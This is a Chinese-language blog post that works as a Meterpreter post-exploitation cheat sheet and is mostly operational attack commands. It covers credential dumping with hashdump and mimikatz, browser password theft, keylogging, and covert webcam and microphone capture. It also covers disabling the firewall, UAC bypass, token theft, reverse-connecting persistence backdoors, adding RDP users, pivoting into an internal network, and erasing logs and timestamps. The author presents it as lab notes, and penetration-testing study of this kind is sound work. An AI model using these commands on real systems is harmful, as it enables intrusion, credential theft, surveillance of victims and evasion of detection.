后渗透脚本知识
权限维持、权限提升、内网渗透等
内网渗透:信息搜集、读取用户hash、浏览器密码
域渗透:获取域控的控制权
Meterpreter基本概念
Meterpreter是Metasploit框架中的一个扩展模块,在攻击成 功以后给我们返回一个控制通道,是metsploit后渗透必不可少的 ,它具有强大的功能,包括socks代理,端口转发,键盘监听等多 个功能,meterpreter可以说是内网渗透测试神器。
基本功能
(1)系统信息获取
(2)密码哈希导出
(3)文件上传下载
(4)屏幕截取
(5)键盘记录
(6)权限提升
(7)跳板攻击
(8)反追踪
优点: 纯内存工作模式,执行漏洞渗透攻击的时候会直接装载meterpreter的 动态链接库到目标进程的空间中,使得meterpreter启动隐蔽,很难被杀毒软 件检测到;
一、后渗透基本操作
1.基本命令
background # 让meterpreter处于后台模式
sessions -i index # 与会话进行交互,index表示第一个session
quit # 退出会话
shell # 获得控制台权限
irb # 开启ruby终端
2.文件操作命令
cat # 查看文件内容
getwd # 查看当前工作目录
upload # 上传文件到目标机上
download # 下载文件到本机上
edit # 编辑文件
search # 搜索文件
3.网络命令
ipconfig / ifconfig # 查看网络接口信息
Portfwd # 端口转发 本机监听端口 把目标机端口转到本机端口上
Rdesktop # 使用rdesktop来连接 -u 用户名 -p 密码
Route # 获取路由表信息
二、后渗透基本操作
1.系统命令
ps # 查看当前活跃进程
migrate pid # 将Meterpreter会话移植到进程数位pid的进程中
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互
getpid # 获取当前进程的pid
kill pid # 杀死进程
getuid # 查看权限
sysinfo # 查看目标机系统信息,如机器名,操作系统等
shutdown # 关机
三、后渗透高级操作
1.Post模块
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks #获取最近的文件操作
run scraper #获取常见信息 #保存在~/.msf4/logs/scripts/scraper/目录下
run post/windows/gather/enum_patches #补丁信息
run post/windows/gather/enum_domain #查找域控
2.Load命令
load #加载模块
meterpreter > load mimikatz #加载mimikatz
meterpreter > load incognito #加载incoginto 盗窃目标主机的令牌或是假冒用户
3.信息搜集
用户是否在线
①查看是否为虚拟机
run post/windows/gather/checkvm
② quser :查看用户是否在线
③idletime :检查受害者闲置多久
④screenshot :截屏
4.用户口令
①hash
我们需要将administrator权限提升至system权限才能获取成功
meterpreter > run post/windows/gather/smart_hashdump
将域的密码也打出来
②mimikatz
meterpreter > load mimikatz #加载mimikatz
meterpreter > msv #获取hash值
meterpreter > Kerberos #获取明文
meterpreter > ssp #获取明文信息
meterpreter > wdigest #获取系统账户信息
meterpreter > mimikatz_command -f a:: #必须要以错误的模块来让正确的模块显示
meterpreter > mimikatz_command -f hash:: #获取目标 hash
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
四、权限提升
1.普通用户利用漏洞获取权限
use exploit/windows/local/ms18_8120_win32k_privesc
2.关闭防火墙
netsh advfirewall set allprofiles state off
3.隐蔽穿越防火墙
4.本地提权
search local/ms
5.绕过UAC
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask
6.获取system权限
7.缓存口令
①Chrome #获取Chrome缓存
run post/windows/gather/enum_chrome
②Firefox #获取Firefox缓存
run post/windows/gather/enum_firefox
③I.E #获取IE缓存
run post/windows/gather/enum_ie
8. 键盘记录:
①keyscan_start:开启键盘记录功能
②keyscan_dump:显示捕捉到的键盘记录信息
③keyscan_stop:停止键盘记录功能
run keylogrecorder
9.搜索:search
在目标主机上找到特定文件,可搜索整个系统中的特定文件。
10.域口令获取
①steal_token 试图窃取指定(PID)进程的令牌
②use incognito #加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)
③list_tokens –u #列出目标主机用户的可用令牌
④list_tokens –g #列出目标主机用户组的可用令牌
然后使用ps,查看pid号
五、主机信息
1. sysinfo
2.post
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks #获取最近的文件操作
run scraper #获取常见信息 #保存在~/.msf4/logs/scripts/scraper/目录下
run post/windows/gather/enum_patches #补丁信息
run post/windows/gather/enum_domain #查找域控
3.摄像头信息
record_mic #音频录制
webcam_chat #查看摄像头接口
webcam_list #查看摄像头列表
webcam_stream #摄像头视频获取
六、内网渗透
1.psexec
先在meterpreter下使用
run post/windows/gather/smart_hashdump打印出账号和口令
记得先关闭靶机的防火墙,可以在shell中使用命令:
netsh advfirewall set allprofiles state off
2.execute
产生一个交互式的cmd:
我们可以使用-H参数来隐藏打开的应用
3.incognito
使用use incognito命令加载incognito功能,上文已经介绍
七、客户端渗透,持久化
1.migrate
可以将meterpreter当前的进程移动到其他指定的进程中,这样做的好处是可以给meterpreter一个相对稳定的运行环境,同时可以很好的躲避杀毒软件
2.metsvc
Meterpreter提供2种方式的后门,一种是通过服务启动(metsvc),一种是通过启动项启动(persistence)。
通过服务(metsvc)启动方式,优点是命令简单方便,不需要设置太多参数。该后门在目标机器自启动一个“服务器”等攻击者连接,攻击者可以随时随地通过该后门加入目标机器。缺点就是其他攻击者扫描出该“服务器”的存在时,任何人便可以通过该后门直达目标机器内部。
3. persistence
通过启动项启动(persistence)的方式,其缺点便是参数较为复杂,当设置某项参数后,很有可能因为权限问题导致该设置项并未生效,并且无错误回显,导致持续化控制可能失败。当然,其优点也可圈可点。该方式是在目标机器上以反弹回连方式来连接攻击者的”服务器”,目标机器上的防火墙对于此等操作一般均会放行,因此后门的存活率较高。
-A 自动启动一个匹配的exploit / multi / handler来连接到代理
-L 如果未使用%TEMP%,则在目标主机中写入有效负载的位置。
-P 有效负载使用,默认为windows / meterpreter / reverse_tcp,默认生成的后门为32位,如果目标机器为64位时,留下的后门无法使用。
-S 作为服务自动启动代理程序(具有SYSTEM权限)
-T 要使用的备用可执行模板
-U 用户登录时自动启动代理 ,该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。
-X 系统引导时自动启动代理程序,该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限问题,会导致添加失败,后门将无法启动。因此,在非管理员权限或者未进行BypassUAC操作情况下,不推荐使用该参数。
-h 这个帮助菜单
-i 每次连接尝试之间的时间间隔(秒)
-p 运行Metasploit的系统正在侦听的端口 ,即设置反向连接的端口号
-r 运行Metasploit监听连接的系统的IP
例子:
留好后门之后,我们需要设置监听端口等配置信息等待后门的触发,将其反弹到我们的攻击机。
4.run vnc (远程控制软件类似于3389)
开启远程,可以实时监视受害者的操作情况
5.getgui(创建一个用户,客户端化)
常用命令:
run getgui –h #查看帮助
run getgui –e #开启远程桌面
run getgui -u Star_Cheng -p 123321 #添加用户
run getgui -f 4446 –e #3389端口转发到4446
例子:
首先先添加一个用户:
run getgui -u Star_Cheng -p 123321
执行远程桌面命令:
rdesktop -u Star_Cheng 10.10.10.141
接着输入密码即可连接上对方桌面。也可输入-p 参数将密码补上
也可以使用enable_rdp脚本来实现开启rdp和添加用户,在meterpreter使用如下命令:
run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=Star2 PASSWORD=123321 #添加用户RQ2
run post/windows/manage/enable_rdp FORWARD=true LPORT=4435 #将3389端口转发到9988
八、 路由设置
实验机:
MSF攻击机:202.192.29.17
跳板机:202.192.29.45
内网目标机:192.168.118.129
这里从我们已经拿下了跳板机开始,我们直接使用msfvenom传给跳板机点击,生成一个session:
设置好msf配置信息:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set LHOST 202.192.29.17
set LPORT 4444
run
获取到shell后如果出现乱码,使用chcp命令:
1.route
查询内网本地路由查询,得到内网网段地址为:192.168.118.0/24
接下来我们需要添加去往目标内网网段(192.168.118.0/24)的静态路由,使用run autoroute -s 202.192.118.0/24
添加,使用run autoroute -p
查看是否添加成功:
设置好路由之后,我们就可以对内网进行扫描了,做一个简单的测试,扫描内网的3389端口:
我们试着内网主机进行扫描,查看是否存在ms17_010漏洞:
发现192.168.118.129这台机子有可能存在漏洞,接着便可以实施进一步攻击
九、清除痕迹
1.clearev
在渗透入侵的过程中难免会留下一下日志信息痕迹,我们可以使用此命令来擦除留下的痕迹:
2.timestomp
将时间统一,减少被发现的概率
3.systeminfo
查看是否少了补丁
PS:以上渗透测试的每个步骤均由本人亲自操作实现并记录整理下来
本文作者为Mr.Wu,转载请注明,尊守博主劳动成果!
由于经常折腾代码,可能会导致个别文章内容显示错位或者别的 BUG 影响阅读; 如发现请在该文章下留言告知于我,thank you !